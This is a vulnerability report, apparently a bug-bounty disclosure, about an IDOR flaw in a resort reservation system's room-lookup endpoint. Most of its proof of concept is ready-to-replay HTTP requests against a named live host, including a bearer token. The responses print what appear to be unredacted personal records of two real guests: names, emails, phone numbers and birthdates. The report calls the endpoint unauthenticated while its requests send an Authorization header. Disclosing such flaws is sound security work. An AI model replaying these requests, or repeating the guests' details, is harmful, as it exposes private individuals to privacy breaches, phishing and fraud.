Unauthenticated IDOR Vulnerability Allowing Access to Guest PII via Room Parameter

Summary

An Insecure Direct Object Reference (IDOR) vulnerability was identified in the app.sunrise-resorts.com web application.
The vulnerability allows unauthenticated attackers to access sensitive personal data of hotel guests by manipulating the room parameter in a backend request.
Due to missing authentication and authorization checks, an attacker can retrieve Personally Identifiable Information (PII) such as guest names, email addresses, phone numbers, and reservation details for arbitrary rooms. `This issue poses a serious risk of privacy violations, phishing, and social engineering attacks.`

Vulnerability Details

- Vulnerability Type: IDOR / Broken Access Control
- Severity: High
- Affected Domain: pms.sunrise-resorts.com:3000
- Affected Endpoint: `GET /reservations/get-reservation-by-room/`
- Affected Parameters:
  - hotel
  - room
- Authentication Required: No
- Authorization Checks: Missing

Technical Details

The endpoint returns reservation and guest information solely based on the supplied hotel and room parameters.
There is no validation to ensure that the requester is:

- authenticated, or
- authorized to access the specified room.

As a result, modifying the `room` parameter allows unrestricted access to guest PII belonging to other rooms.

Steps to Reproduce

1. Open the application at: https://app.sunrise-resorts.com
2. Select a hotel from the hotel list.
3. Enter a valid room number (e.g., 7201) and any arbitrary departure date (does not need to match the actual departure date).
4. Submit the request and inspect the server response.
5. Observe that the server returns complete guest personal data for the room.
6. To view another room's data, modify the `room` parameter in the request and resend.
7. The response contains the guest data for the newly requested room.

Proof of Concept (PoC)

1. An unauthenticated request is sent to the reservation endpoint with a valid hotel identifier and room number.

2. The server responds with full guest personal information for the specified room.

Request

Pretty Raw Hex

```
GET /reservations/get-reservation-by-room/?hotel=5&room=7201 HTTP/1.1
Host: pms.sunrise-resorts.com:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.sunrise-resorts.com/
Content-Type: application/json
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 3600
Origin: https://app.sunrise-resorts.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: Bearer
d8e6b1636e779dcbb2f60bd027dbe53c7430743bee289cb93f77f40b7abff379
Priority: u=0
Te: trailers
Connection: keep-alive
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 625
ETag: W/"271-fyYA0muHXrVngm+0cQ9icCD9X8M"
Date: Sat, 27 Sep 2025 16:10:06 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "id":4028008,
    "title":"Mr.",
    "firstname":"DANAIL KOSTOV",
    "lastname":"ATANASOV",
    "email":"shumimmc@gmail.com",
    "valid":false,
    "phonenumber":"+399882205055",
    "arrival":"2025-09-25",
    "departure":"2025-10-01",
    "book_date":"2025-09-25",
    "birthdate":"1985-09-15",
    "adult":3,
    "child":0,
    "travel_agent":"Turn Away From Mamlouk",
    "travel_agent_id":1607689,
    "company_id":"OTS Eats",
    "source":"Inernational Tour Operator",
    "room_category":"Deluxe Twin Bed Garden View (DLX)",
    "room_number":7201,
    "country":"Bulgaria",
    "crs_no":"V0018569",
    "reservation_no":2520312,
    "name":"",
    "description":null,
    "status":3,
    "hotelid":5,
    "lang":"bg",
    "status_name":"Checked In"
```

3. By changing the room parameter to another value, guest data for a different room is returned.

Request

Pretty Raw Hex

```
GET /reservations/get-reservation-by-room/?hotel=5&room=7205 HTTP/1.1
Host: pms.sunrise-resorts.com:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://app.sunrise-resorts.com/
Content-Type: application/json
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Max-Age: 3600
Origin: https://app.sunrise-resorts.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Authorization: Bearer
d8e6b1636e779dcbb2f60bd027dbe53c7430743bee289cb93f77f40b7abff379
Priority: u=0
Te: trailers
Connection: keep-alive
```

Response

Pretty Raw Hex Render

```
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 613
ETag: W/"265-8+WRa49nqZAJd8ksSTiAGgUz4mI"
Date: Sat, 27 Sep 2025 13:44:46 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "id":4008811,
    "title":"Frau",
    "firstname":"Lydia",
    "lastname":"Klester Popov",
    "email":"KESTER.1955@MAIL.RU",
    "valid":false,
    "phonenumber":"+01748329826",
    "arrival":"2025-09-17",
    "departure":"2025-09-27",
    "book_date":"2025-09-14",
    "birthdate":"1955-08-19",
    "adult":2,
    "child":0,
    "travel_agent":"ITS",
    "travel_agent_id":1345784,
    "company_id":"ITS Der Touristik",
    "source":"Inernational Tour Operator",
    "room_category":"Deluxe Twin Bed Garden View (DLX)",
    "room_number":7205,
    "country":"Germany",
    "crs_no":"428760884",
    "reservation_no":2502705,
    "name":"",
    "description":null,
    "status":3,
    "hotelid":5,
    "lang":"de",
    "status_name":"Checked In"
}
```

4. No authentication, session, or ownership validation is enforced.

Result:

The response contains sensitive guest information including:

- Full name
- Email address
- Phone number
- Reservation details

`This confirms an IDOR vulnerability exposing guest PII.`

Impact

1. Unauthorized disclosure of sensitive guest PII
2. High risk of phishing and social engineering attacks

3. Potential violation of data protection regulations (e.g., GDPR)
4. Loss of customer trust and reputational damage

Reported by

Mustafa Mohamed